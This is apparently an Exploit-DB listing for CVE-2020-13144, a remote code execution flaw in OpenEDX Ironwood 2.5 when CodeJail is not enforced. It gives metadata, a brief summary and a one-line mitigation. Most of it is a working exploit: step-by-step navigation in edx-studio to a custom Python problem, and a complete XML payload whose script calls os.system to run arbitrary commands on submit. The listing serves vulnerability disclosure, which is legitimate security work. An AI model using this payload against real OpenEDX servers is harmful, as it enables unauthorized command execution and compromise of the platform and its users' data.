header-logo
Suggest Exploit
vendor:
OpenEDX Platform
by:
Daniel Monzón (stark0de)
8.8
CVSS
HIGH
Remote Code Execution
CWE
Product Name: OpenEDX Platform
Affected Version From: Ironwood 2.5
Affected Version To: Ironwood 2.5
Patch Exists: NO
Related CWE: CVE-2020-13144
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Debian x64
2020

OpenEDX platform Ironwood 2.5 – Remote Code Execution

OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail is not enforced. This is an authenticated vulnerability, so you need to register an account, go to /edx-studio and create a new course, section, subsection, unit, and add a new component with a custom Python evaluated code. By introducing a payload in the problem section, an attacker can execute arbitrary commands on the target machine.

Mitigation:

Enforce the use of CodeJail in the OpenEDX platform Ironwood version 2.5 to prevent the execution of arbitrary commands.
Source

Exploit-DB raw data:

# Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-05-20
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://open.edx.org/
# Software Link: https://github.com/edx/edx-platform
# Version: Ironwood 2.5
# Tested on: Debian x64
# CVE : CVE-2020-13144

CVE ID: CVE-2020-13144

OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail (https://github.com/edx/codejail) is not enforced

This is an authenticated vulnerability, so you need to register an account, go to /edx-studio

Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code

Once here we just need to edit the problem and introduce a payload such as:

<problem>

<script type="python">
def test_add(expect,ans):
    import os
    os.system("thecommandyouwanttoexecute")
    
</script>

<p>Problem text</p>
<customresponse cfn="test_add" expect="20">
        <textline size="10" correct_answer="11" label="Integer #1"/><br/>
        <textline size="10" correct_answer="9" label="Integer #2"/>
</customresponse>

    <solution>
        <div class="detailed-solution">
          <p>Solution or Explanation Heading</p>
          <p>Solution or explanation text</p>
        </div>
    </solution>
</problem>

And click Submit, and you will execute commands in the machine